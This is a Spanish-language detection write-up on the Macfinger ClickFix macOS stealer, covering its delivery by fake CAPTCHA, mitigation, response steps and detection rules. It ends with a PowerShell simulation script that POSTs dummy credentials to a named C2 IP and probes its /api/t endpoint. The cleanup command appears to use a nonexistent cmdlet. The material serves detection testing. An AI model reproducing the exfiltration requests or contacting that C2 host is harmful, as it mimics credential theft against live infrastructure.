Campaña Macfinger ClickFix: Análisis del Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
La campaña Macfinger ClickFix entrega un ladrón de información de macOS no identificado a través de páginas de verificación CAPTCHA falsas. El ataque utiliza scripts de shell para recuperar binarios Mach-O específicos de la arquitectura para sistemas Intel o Apple Silicon. Una vez iniciado, el malware solicita permisos amplios del sistema y exfiltra información sensible a través de solicitudes HTTP POST y comunicación basada en WebSocket.
Investigación
La investigación se centró en una infección observada en un host macOS 27.0. Los analistas rastrearon el cargador inicial del script de shell, la posterior recuperación de los binarios Mach-O y los patrones de comunicación de comando y control del malware. La investigación también diferenciaba la amenaza del ladrón AMOS documentado previamente basándose en diferencias en persistencia, recolección de datos y comportamiento de exfiltración.
Mitigación
Los usuarios deben evitar interactuar con solicitudes CAPTCHA en navegadores sospechosas o ejecutar comandos de terminal inesperados proporcionados por sitios web. Las organizaciones deben monitorear cambios no autorizados en LaunchAgents y descargas sospechosas escritas en el directorio /Library/Caches . Limitar los privilegios administrativos también puede reducir la capacidad del malware para obtener los permisos de sistema necesarios para la ejecución.
Respuesta
Cuando se detecte actividad relacionada con Macfinger, aísle el punto final de macOS afectado de la red para evitar una mayor exfiltración de datos. Realice un análisis forense de los directorios /Library/LaunchAgents/ and /Library/Caches/ para identificar artefactos de persistencia. Revise los registros del sistema para solicitudes de permiso no autorizadas y acceso a ubicaciones sensibles como Documentos, Escritorio y Descargas.
Flujo de Ataque
Detecciones
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (via dns)
Posible Manipulación de Cadenas Codificadas en Base64 [MacOS] (via cmdline)
Intento de Ejecución de Curl Sospechoso [MacOS] (via cmdline)
IOCs (HashSha256) para detectar: Un Vistazo Más Cercano al Malware de la Campaña Macfinger ClickFix
IOCs (SourceIP) para detectar: Un Vistazo Más Cercano al Malware de la Campaña Macfinger ClickFix
IOCs (DestinationIP) para detectar: Un Vistazo Más Cercano al Malware de la Campaña Macfinger ClickFix
Detectar Tráfico C2 de Macfinger ClickFix y Exfiltración de Datos [Tráfico HTTP]
Detección de Infección de la Campaña Macfinger ClickFix [Creación de Procesos en macOS]
Ejecución de Simulación
-
Narrativa del Ataque & Comandos: El adversario ha obtenido acceso inicial exitosamente y está intentando exfiltrar credenciales recopiladas. Para evitar la detección por filtrados web estándar, utilizan un agente personalizado basado en Go. El agente está programado para enviar una solicitud POST que contiene credenciales de usuario al punto final C2
/api/credentials. Después de esto, establece una conexión WebSocket a/api/tpara recibir instrucciones adicionales. La simulación usará PowerShell para suplantar estas características HTTP específicas (IP, User-Agent y URI) para activar la regla de detección. -
Script de Prueba de Regresión:
# Simulación de Tráfico C2 de Macfinger $C2_IP = "95.163.153.80" $UserAgent = "Go-http-client/1.1" Write-Host "[+] Iniciando Simulación de Macfinger..." -ForegroundColor Cyan # 1. Simulación de Exfiltración de Datos vía HTTP POST Write-Host "[+] Intentando Exfiltración de Datos (POST /api/credentials)..." -ForegroundColor Yellow try { $exfilParams = @{ Uri = "http://$($C2_IP)/api/credentials" Method = "POST" UserAgent = $UserAgent Body = "user=admin&pass=P@ssword123" ContentType = "application/x-www-form-urlencoded" } Invoke-RestMethod @exfilParams } catch { Write-Host "[-] Solicitud fallida (Esperado si IP no es alcanzable): $($_.Exception.Message)" -ForegroundColor Gray } # 2. Simulación de Comando & Control vía WebSocket (Simulado vía HTTP GET a URI específico) # Nota: Los verdaderos encendidos de WebSocket requieren bibliotecas específicas, pero para la telemetría de red, # la solicitud GET inicial a la URI es el disparador principal. Write-Host "[+] Intentando Luego Predisposición de WebSocket (GET /api/t)..." -ForegroundColor Yellow try { $wsParams = @{ Uri = "http://$($C2_IP)/api/t" Method = "GET" UserAgent = $UserAgent } Invoke-RestMethod @wsParams } catch { Write-Host "[-] Solicitud fallida (Esperado si IP no es alcanzable): $($_.Exception.Message)" -ForegroundColor Gray } Write-Host "[+] Simulación Completa." -ForegroundColor Cyan -
Comandos de Limpieza:
# Este script de simulación no crea artefactos persistentes. # Asegúrese de que no quedan conexiones activas a la IP objetivo. Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false